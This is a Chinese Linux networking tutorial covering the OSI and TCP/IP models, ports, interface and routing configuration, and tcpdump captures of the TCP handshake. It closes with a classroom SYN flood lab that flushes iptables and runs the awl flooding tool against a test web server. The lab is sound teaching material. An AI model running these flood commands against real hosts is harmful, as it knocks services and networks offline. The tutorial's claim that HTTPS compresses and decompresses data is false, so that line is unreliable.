目录
一:OSI七层模型和TCP/IP四层模型
二:linux网络相关的调试命令
行SYNFlood
No.1
OSI七层模型和TCP/IP四层模型
1.1 OSI七层参考模型,TCP/IP四层参考模型
OSI七层模型:
OSI(Open System Interconnection)开放系统互连参考模型是国际标准化组织(ISO)制定的一个用于计算机或通信系统间互联的标准体系。
TCP/IP四层模型:TCP/IP参考模型是计算机网络的祖父ARPANET和其后继的因特网使用的参考模型。
分层作用:方便管理
七层模型优点:[CCNA]
1、把复杂的网络划分成为更容易管理的层(将整个庞大而复杂的问题划分为若干个容易处理的小问题)
2、没有一个厂家能完整的提供整套解决方案和所有的设备,协议.
3、独立完成各自该做的任务,互不影响,分工明确,上层不关心下层具体细节,分层同样有益于网络排错
功能与代表设备:
为什么现代网络通信过程中用TCP/IP四层模型,而不是用OSI七层模型呢?
OSI七层模型是理论模型,一般用于理论研究,他的分层有些冗余,实际应用,选择TCP/IP的四层模型。而且 OSI 自身也有缺陷,大多数人都认为 OSI 模型的层次数量与内容可能是最佳的选择,其实并非如此,其中会话层和表示层几乎是空的,而数据链路层和网络层包含内容太多,有很多的子层插入,每个子层都有不同的功能。
1.2 常见网络相关的协议
DNS:域名解析协议 www.baidu.com。
SNMP(Simple Network Management Protocol)简单网络管理协议。
DHCP(Dynamic Host Configuration Protocol)动态主机配置协议,它是在TCP/IP网络上使客户机获得配置信息的协议。
FTP(File Transfer Protocol)文件传输协议,它是一个标准协议,是在计算机和网络之间交换文件的最简单的方法。
HTTP(Hypertext Transfer Protocol ):超文本传输协议。
HTTPS(Secure Hypertext Transfer Protocol):安全超文本传输协议,它是由Netscape开发并内置于其浏览器中,用于对数据进行压缩和解压操作。
ICMP(Internet Control Message Protocol):Internet控制信息协议,互联网控制报文协议
SMTP(Simple Mail Transfer Protocol):简单邮件传送协议
TELNETProtocol:虚拟终端协议。
TFTP(Trivial File Transfer Protocol):小文件传输协议。
UDP(User Datagram Protocol):用户数据报协议,它是定义用来在互连网络环境中提供包交换的计算机通信的协议。
TCP(Transmission Control Protocol): 传输控制协议,是一种面向连接的、可靠的、基于字节流的传输层通信协议 log转发:开启一个协议:tcp(三次握手和四次挥手) 。
面试时经常会问道的问题 TCP和UPD的区别:
TCP协议和UDP协议的区别
(1)TCP协议:TCP(Transmission Control Protocol,传输控制协议)是面向连接的协议,在收发数据前,必须和对方建立可靠的连接。
(2)UDP协议:UDP 是User Datagram Protocol的简称, 中文名是用户数据报协议,是一种无连接的传输层协议,提供面向事务的简单不可靠信息传送服务
总结:TCP与UDP的区别:
1.基于连接与无连接;
2.对系统资源的要求(TCP较多,UDP少);
3.UDP程序结构较简单;UDP信息包的标题很短,只有8个字节,相对于TCP的20个字节信息包的额外开销很小。所以传输速度可更快。
4.TCP保证数据正确性,UDP可能丢包;TCP保证数据顺序,UDP不保证。
场景:视频,语音通讯使用udp,或网络环境很好,比如局域网中通讯可以使用udp。 udp数据传输完整性,可以通过应用层的软件算法来校对就可以了。
tcp传文件,数据完整性要求高。
1.3 TCP和UDP 常用端口号名称
(1)TCP 端口分配
端口号 服务 服务描述
21 ftp 文件传输服务22 ssh 安全远程连接服务23 telnet 远程连接服务25 smtp 电子邮件服务53 DNS 域名解析服务80 http web服务443 https 安全web服务
如果你不知道哪个端口对应哪个服务怎么办?如873端口是哪个服务的?
[root@xuegod63 ~]# vim /etc/services#此文件中,包含所有常见端口号及服务名称
#此文件可以查看常用端口对应的名字。iptables或netstat要把端口解析成协议名时,都需要使用到这个文件。另外后期xinetd服务管理一些小服务时,也会使用到此文件来查询对应的小服务端口号。
注:有的服务是UDP和TCP端口都会监听的
A:10.0.0.0–10.255.255.255 子网掩码为255.0.0.0 或用 /8 表示(网络位8位二进制数)
B: 172.16.0.0–172.31.255.255 子网掩码为255.255.0.0 或用 /16 表示
C: 192.168.0.0–192.168.255.255 子网掩码为255.255.255.0 或用 /24 表示
ping 127.0.0.1 可以ping通。ping 127.23.23.23可以ping通吗?
结论:这个127这个网段都用于环回口ipv4 ipv6
No.2
linux网络相关的调试命令
2.1 查看网卡物理连接是否正常
[root@xuegod63 ~]# nmcli device statusDEVICE TYPE STATE CONNECTIONens33 ethernet 连接的 ens33 virbr0 bridge 连接的 virbr0 lo loopback 未托管 — virbr0-nic tun 未托管 —
查看IP相关信息:
ifconfig命令被用于配置和显示Linux内核中网络接口的网络参数。
[root@xuegod63 ~]# ifconfig
常见的一些网络接口
eth0 ….. eth4 … 以太网接口(linux6)waln0 无线接口eno177776 以太网接口 (centos7)ens33 以太网接口(centos7)ens160 以太网接口(centos8)bond0 team0 网卡绑定接口virbr0 虚拟交换机桥接接口br0 虚拟网桥接口lo 本地回环接口vnet0 KVM虚拟机网卡接口
方法1:手工修改网卡配置文件
[root@xuegod63 ~]# vim /etc/sysconfig/network-scripts/ifcfg-ens33
TYPE=Ethernet #设置类型是以太网设备,如图:
PROXY_METHOD=none
BROWSER_ONLY=no
DEFROUTE=yes
IPV4_FAILURE_FATAL=no
IPV6INIT=yes
IPV6_AUTOCONF=yes
IPV6_DEFROUTE=yes
IPV6_FAILURE_FATAL=no
IPV6_ADDR_GEN_MODE=stable-privacy
NAME=ens33 #网卡名字
UUID=c713acec-674b-411d-9e61-646482a292ca#UUID 每个网上设备都不一样
DEVICE=ens33 #设备名字,在内核中识别的名字
ONBOOT=yes #启用该设备,如果no,表示不启动此网络设备
IPV6_PRIVACY=no
PEERDNS=no
#启用DHCP后即会更改/etc/resolv.conf,PEERNDS=no则不会修改resolv.conf
修改完成使配置生效(在修改配置文件后,需要运行nmcli con reload使NetworkManager读取配置文件更改。接口依然需要重新启动,以便修改生效):
[root@xuegod63 ~]# nmcli connection reload[root@xuegod63 ~]# nmcli connection down ens33[root@xuegod63 ~]# nmcli connection up ens33[root@xuegod63 ~]# systemctl restart network[root@xuegod63 ~]# ifdown ens33 && ifup ens33
例1: 给虚拟机再添加一个网卡,并手动成生网卡配置文件
[root@xuegod63 ~]# init 0
添加一块网卡
新加的网卡,也使用桥接模式。
[root@xuegod63 ~]# ifconfig -a
# -a查看所有网络设备,包括没有启动的网卡设备
ens33: flags=4163mtu 1500
。。。
ens38: flags=4163mtu 1500
注:我这里显示第二块网卡名字是ens38,你那边可能不是。这是由内核识别出来的
默认新增加的网卡没有配置文件,现在手动添加一个
[root@xuegod63 ~]# cd /etc/sysconfig/network-scripts/[root@xuegod63 network-scripts]# cp ifcfg-ens33 ifcfg-ens38[root@xuegod63 network-scripts]# vim ifcfg-ens38
#修改内容
TYPE=Ethernet
PROXY_METHOD=none
BROWSER_ONLY=no
BOOTPROTO=none
DEFROUTE=yes
IPV4_FAILURE_FATAL=no
IPV6INIT=yes
IPV6_AUTOCONF=yes
IPV6_DEFROUTE=yes
IPV6_FAILURE_FATAL=no
IPV6_ADDR_GEN_MODE=stable-privacy
NAME=ens38
UUID=c713acec-674b-411d-9e61-646482a292ca#这一行删除掉
DEVICE=ens38
ONBOOT=yes
IPADDR=192.168.1.68
#改成68 IP(自定义进行修改)
PREFIX=24
GATEWAY=192.168.1.1
DNS1=114.114.114.114
IPV6_PRIVACY=no
PEERDNS=no
[root@xuegod63 network-scripts]# systemctl restart network
使用nmcli命令查看网卡UUID
[root@xuegod63 ~]# nmcli conNAME UUID TYPE DEVICEens33 fcdcc4d4-65a4-42ec-8325-86f66aad5071 ethernet ens33 ens37 a40a9de1-6c41-3c6a-9f8c-e2c6741d2dca ethernet ens37
CentOS8添加网卡后配置文件使用nmcli命令生成:
[root@xuegod63 ~]# nmcli con add con-name ens37 type ethernet ifname ens37
方法2:[root@xuegod63~]# nmtui-edit #字符界面配IP(了解不建议使用)
例1:启动关闭指定网卡:
[root@xuegod63 ~]# ifconfig ens38 down[root@xuegod63 ~]# ifconfig [root@xuegod63 ~]# ifconfig ens38 up
[root@xuegod63 ~]# ifconfig ens38 192.168.1.90[root@xuegod63 ~]# ifconfig ens38 192.168.1.90 netmask 255.255.255.0
[root@xuegod63 ~]# ifconfig ens33:1 192.168.1.3 netmask 255.255.255.0[root@xuegod63 ~]# ifconfigens33: flags=4163 mtu 1500ens33:1: flags=4163 mtu 1500inet 192.168.1.3 netmask 255.255.255.0 broadcast 192.168.1.255
注:临时ip没有什么太大用处,临时ip因为没有网关,dns等配置信息,无法访问外网,只有内网可以互相ping通,要想访问外网还需要添加网关等信息,如route add default gw 192.168.1.1,这样做不如直接写入配置文件更方便。
centos7使用 systemctl restart NetworkManager命令使用临时ip,使用systemctl restart network或ifdown ens33 && ifup ens33都会恢复真实IP。
2.3 查看端口的监听状态
netstat 命令: 查看系统中网络连接状态信息,
常用的参数格式 : netstat -anutp
-a, –all显示本机所有连接和监听的端口
-n, –numeric don’t resolve names以数字形式显示当前建立的有效连接和端口
-u 显示udp协议连接
-t 显示tcp协议连接
-p –programs显示连接对应的PID与程序名
Proto===连接协议的种类
Recv-Q====接收到字节数
Send-Q====从本服务器,发出去的字节数
网络连接状态STATE:
CLOSED:
初始(无连接)状态。
LISTEN:
侦听状态,等待远程机器的连接请求。
ESTABLISHED:
完成TCP三次握手后,主动连接端进入ESTABLISHED状态。此时,TCP连接已经建立,可以进行通信。
TIME_WAIT:
在TCP四次挥手时,主动关闭端发送了ACK包之后,进入TIME_WAIT状态,等待最多MSL时间,让被动关闭端收到ACK包。
扩展:MSL
MSL,即Maximum Segment Lifetime,一个数据分片(报文)在网络中能够生存的最长时间,在RFC 793中定义MSL通常为2分钟,即超过两分钟即认为这个报文已经在网络中被丢弃了。对于一个TCP连接,在双方进入TIME_WAIT后,通常会等待2倍MSL时间后,再关闭掉连接,作用是为了防止由于FIN(最后一个挥手包)报文丢包,对端重发导致与后续的TCP连接请求产生顺序混乱
实战:服务器上有大量TIME_WAIT连接,如何优化TCP连接,快速释放tcp连接 ?
[root@iZ2zee35aswj00xgdqoanhZ ~]# netstat -antup | grep TIME_WAIT tcp 0 0 123.57.82.225:80 111.196.245.241:4002 TIME_WAIT -tcp 0 0 123.57.82.225:80 111.196.245.241:3970 TIME_WAIT -tcp 0 0 123.57.82.225:80 111.196.245.241:4486 TIME_WAIT -tcp 0 0 123.57.82.225:80 111.196.245.241:3932 TIME_WAIT –
解决:
例:linux下默认MSL等待时间是60秒
[root@xuegod63 ipv4]# cat /proc/sys/net/ipv4/tcp_fin_timeout60 秒[root@xuegod63 ipv4]# echo 30 > /proc/sys/net/ipv4/tcp_fin_timeout #通过缩短时间time_wait时间来快速释放链接
不要看就这样一个参数,Linux内核调优,就是由这样一个一个参数累积起来的。
修改主机名配置文件,作用:设置主机名永久生效
[root@xuegod63 ~]# vim /etc/hostnamexuegod63.cn[root@xuegod63 ~]# hostnamectl set-hostname 主机名
配置IP与主机名(域名)的对应关系。
[root@xuegod63 ~]# vim /etc/hosts #优先级高于DNS解析127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4::1 localhost localhost.localdomain localhost6 localhost6.localdomain6192.168.1.63 xuegod63.cn192.168.1.64 xuegod64.cn192.168.1.62 xuegod62.cn
Windows中的位置
C:\Windows\System32\drivers\etc\hosts
2.4 配置DNS-路由相关信息
DNS配置的配置文件
[root@xuegod63 ~]# cat /etc/resolv.conf# Generated by NetworkManagersearch cnnameserver 114.114.114.114
注:在centos5/6版本,配置DNS用这个文件。在centos6以后,直接在网卡配置文件中指定:DNS1=192.168.1.1
默认情况下,域名解析顺序: 本地hosts文件-》DNS查询
是不是一定先解析hosts再解析DNS?
本机域名解析顺序
[root@xuegod63 ~]# vim /etc/nsswitch.conf #查找以下内容 hosts#hosts: db files nisplus nis dnshosts: files dns myhostname #可以看到是先查看 files hosts文件,再查看DNS的
查看路由信息:
[root@xuegod63 ~]# route -nKernel IP routing tableDestination Gateway Genmask Flags Metric Ref Use Iface192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0169.254.0.0 0.0.0.0 255.255.0.0 U 1002 0 0 eth00.0.0.0 192.168.1.1 0.0.0.0 UG 0 0 0 eth0
注:0.0.0.0 192.168.1.1 0.0.0.0 #前面0.0.0.0表示匹配任何网段,后面0.0.0.0表示匹配所有主机,这行就是默认网关
参数: -n :不要使用通讯协定或主机名称,直接使用 IP 或 port number;
route命令输出的路由表字段含义如下:
Destination 目标:
The destination network or destination host. 目标网络或目标主机。
Gateway 网关:
Genmask :子网掩码
添加/删除路由条目:
[root@linux ~]# route add [-net|-host] [网域或主机] netmask [mask] [gw|dev][root@linux ~]# route del [-net|-host] [网域或主机] netmask [mask] [gw|dev]
增加 (add) 与删除 (del) 路由的相关参数:
-net :表示后面接的路由为一个网域;
-host :表示后面接的为连接到单部主机的路由;
netmask :与网域有关,可以设定 netmask 决定网域的大小;
gw :gateway 的简写,后续接的是 IP 的数值喔,与 dev 不同;
dev :如果只是要指定由那一块网路卡连线出去,则使用这个设定,后面接 eth0 等
例:添加/删除路由条目:
添加路由:把Linux做成路由器时或服务器有多个网卡,指定到不同网段走哪个网卡
实战场景:多个网卡,多个网段,实现不同数据走不同网卡。如果网络管理和生产数据分开管理。
比如生产数据走1.0网段,网络管理走2.0网段,网络管理数据不走生产或对外提供服务的网段,这样也不会乱(前提你得有多个网卡)
[root@xuegod63 ~]# route add -net 192.168.2.0 netmask 255.255.255.0 dev ens38[root@xuegod63 ~]# route -nKernel IP routing tableDestination Gateway Genmask Flags Metric Ref Use Iface0.0.0.0 192.168.1.1 0.0.0.0 UG 100 0 0 ens330.0.0.0 192.168.1.1 0.0.0.0 UG 101 0 0 ens38192.168.1.0 0.0.0.0 255.255.255.0 U 100 0 0 ens33192.168.1.0 0.0.0.0 255.255.255.0 U 101 0 0 ens38192.168.2.0 0.0.0.0 255.255.255.0 U 0 0 0 ens38
删除路由
[root@xuegod63 ~]# route del -net 192.168.2.0 netmask 255.255.255.0
路由跟踪
[root@xuegod63 ~]# yum -y install traceroute[root@xuegod63 ~]# traceroute baidu.com
路由跟踪:查看经过多少个路由器到目标网址:
实战场景:查看一个新上线的服务器 www.xuegod.cn,北京用户需要经过多少跳可以到达服务器。
ping命令的一般格式为:
-c数目在发送指定数目的包后停止。
-i 秒数设定间隔几秒送一个网络封包给一台机器,默认值是1秒送1次
-w等待指定时间后停止ping程序的执行,时间单位是秒。
[root@xuegod63 ~]# ping -i 0.01 -c 20 192.168.1.1
大写的I参数,网络界面:
[root@xuegod63 ~]# ping -I 192.168.1.63 baidu.com -w 3
arping大写I
[root@xuegod63 ~]# arping -I ens33 192.168.100.1 ARPING 192.168.1.1 from 192.168.1.74 ens33Unicast reply from 192.168.1.1 [94:0B:19:46:3D:C8] 1.824msUnicast reply from 192.168.1.1 [94:0B:19:46:34:41] 2.564ms
watch
作用:实时监测命令的运行结果,可以看到所有变化数据包的大小
-d高亮显示变化的区域(指令信息不同之处)
-n指定指令执行的间隔时间(秒)
例1:每隔1秒高亮显示ens33网卡相关信息
[root@xuegod63 ~]# watch -d -n 1 ‘ifconfig ens33’
每秒显示ens33网卡信息,RXpackets接收到的数据包, TXpackets发送出的数据包
No.3
http://ssa.yundun.com/cc云盾全球实时攻防图
现在学得是第一阶段中的内容,这个案例是让你开眼界!
3.1 tcp三次握手及tcp连接状态
TCP报文段的首部格式:
需要了解的信息:
ACK: TCP协议规定,只有ACK=1时有效,也规定连接建立后所有发送的报文的ACK必须为1
SYN(SYNchronization) : 在连接建立时用来同步序号。当SYN=1而ACK=0时,表明这是一个连接请求报文。对方若同意建立连接,则应在响应报文中使SYN=1和ACK=1. 因此, SYN置1就表示这是一个连接请求或连接接受报文。
synchronization [??s????kr??na??’ze????n]同步
FIN(finis)即完,终结的意思, 用来释放一个连接。当 FIN = 1 时,表明此报文段的发送方的数据已经发送完毕,并要求释放连接。
finis [‘fa??n??s]终结
建立tcp连接时的tcp三次握手和断开tcp连接时的4次挥手整体过程说明图:
实战1:使用tcpdump抓包查看tcp三次握手过程
tcp三次握手过程:
Client:我可以给你发数据吗?
Server:可以
Client:好的
三次握手的核心是: 确认每一次包的序列号。
tcp三次握手过程:
1、首先由Client发出请求连接即 SYN=1,声明自己的序号是 seq=x
2、然后Server 进行回复确认,即 SYN=1 ,声明自己的序号是 seq=y, 并设置为ack=x 1,
3、最后Client 再进行一次确认,设置ack=y 1.
tcpdump抓包命令常用参数:
-c 指定包个数
-n IP,端口用数字方式显示
port指定端口
如何产生tcp的链接?
在xuegod63上登录xuegod64,抓取ssh远程登录xuegod64时,产生的tcp三次握手包:
[root@xuegod63 ~]# ifconfig ens38 down[root@xuegod63 ~]# tcpdump -i ens33 host 192.168.1.64 and port 22 -c 3 -n
打开另一个终端,开始建立tcp连接:
[root@xuegod63 Desktop]# ssh root@192.168.1.64The authenticity of host ‘192.168.1.64 (192.168.1.64)’ can’t be established.RSA key fingerprint is b2:29:c8:62:98:80:92:3c:e2:67:3f:f0:7c:40:69:63.Are you sure you want to continue connecting (yes/no)? #到这里就不用执行了,tcp已经建立连接
查看数据包:
[root@xuegod63 ~]# tcpdump -i ens33 host 192.168.1.64 and port 22 -c 3 -n tcpdump: verbose output suppressed, use -v or -vv for full protocol decodelistening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes10:34:54.874512 IP 192.168.1.63.59528 > 192.168.1.64.ssh: Flags [S], seq 2421809005, win 29200, options [mss 1460,sackOK,TS val 2231108 ecr 0,nop,wscale 7], length 010:34:54.876367 IP 192.168.1.64.ssh > 192.168.1.63.59528: Flags [S.], seq 4293815945, ack 2421809006, win 28960, options [mss 1460,sackOK,TS val 542827 ecr 2231108,nop,wscale 7], length 010:34:54.877387 IP 192.168.1.63.59528 > 192.168.1.64.ssh: Flags [.], ack 1, win 229, options [nop,nop,TS val 2231111 ecr 542827], length 0
注:Flags[S]中的 S 表示为SYN包为1
client主机返回ACK,包序号为ack=1 ,这是相对序号,如果需要看绝对序号,可以在tcpdump命令中加-S
[root@xuegod63 ~]# tcpdump -i ens33 host 192.168.1.64 and port 22 -c 3 -n -Stcpdump: verbose output suppressed, use -v or -vv for full protocol decodelistening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes16:00:54.310316 IP 192.168.1.63.57528 > 192.168.1.64.ssh: Flags [S], seq 1932774705, win 14600, options [mss 1460,sackOK,TS val 5103659 ecr 0,nop,wscale 7], length 016:00:54.311072 IP 192.168.1.64.ssh > 192.168.1.63.57528: Flags [S.], seq 3006844046, ack 1932774706, win 14480, options [mss 1460,sackOK,TS val 3869455 ecr 5103659,nop,wscale 7], length 016:00:54.311175 IP 192.168.1.63.57528 > 192.168.1.64.ssh: Flags [.], ack 3006844047, win 115, options [nop,nop,TS val 5103660 ecr 3869455], length 03 packets captured3 packets received by filter0 packets dropped by kernel
TCP三次握手连接状态详解:
TCP连接状态详解:
服务器端:LISTEN:侦听来自远方的TCP端口的连接请求
客户端:SYN-SENT:在发送连接请求后等待匹配的连接请求
服务器端:SYN-RECEIVED:在收到和发送一个连接请求后等待对方对连接请求的确认
客户端/服务器端:ESTABLISHED:代表一个打开的连接
SYN洪水攻击概述:SYN洪水攻击主要源于: tcp协议的三次握手机制
SYN洪水攻击的过程:
在服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端,如果发起的客户是一个不存在的客户端,那么服务端就不会接到客户端回应的ACK包。
这时服务端需要耗费一定的数量的系统内存来等待这个未决的连接,直到等待超时关闭,才能施放内存。
如果恶意者通过通过ip欺骗,发送大量SYN包给受害者系统,导致服务端存在大量未决的连接并占用大量内存和tcp连接,从而导致正常客户端无法访问服务端,这就是SYN洪水攻击的过程。
在xuegod63 安装awl软件进行攻击:
通过xshell上传awl-0.2.tar.gz到Linux系统中
开始安装awl(需要使用centos7.6版本系统)
[root@xuegod63 ~]#tar xvf awl-0.2.tar.gz #解压[root@xuegod63 ~]#cd awl-0.2[root@xuegod63 awl-0.2]#./configure # 查检软件包安装环境[root@xuegod63 awl-0.2]#make -j 4 #make 把源代码编译成可执行的二进制文件# -j 4以4个进程同时编译,速度快[root@xuegod63 awl-0.2]#make install #安装查看安装的命令:[root@xuegod63 awl-0.2]# which awl/usr/local/bin/awl
在xuegod64上搭建一台web服务器,模拟要被攻击的服务器
[root@xuegod64 ~]# yum install httpd -y #安装web服务器[root@xuegod64 ~]# systemctl start httpd[root@xuegod64 ~]# curl 192.168.100.63[root@xuegod64 ~]# iptables -F
开始攻击:
[root@xuegod63 ~]# ping 192.168.1.64[root@xuegod63 ~]# arp -nAddress HWtype HWaddress Flags Mask Iface192.168.1.17 ether e0:b9:a5:ac:c5:76 C eth0192.168.1.64 ether 00:0c:29:57:f5:b5 C eth0
开始攻击:
这表示向同一网段内的所有主机发出ARP广播,进行SYN攻击,还容易使整个局域网瘫痪。
-d 被攻击机器的IP
-p 被攻击机器的端口
两台机器:
[root@xuegod63 ~]# iptables -F[root@xuegod63 ~]# awl -i ens33 -m 目标mac -d 目标ip -p 80
5秒钟ctlr c 停止
测试攻击效果:
在xuegod64上查看:发现很多伪装成公网的IP在攻击我们.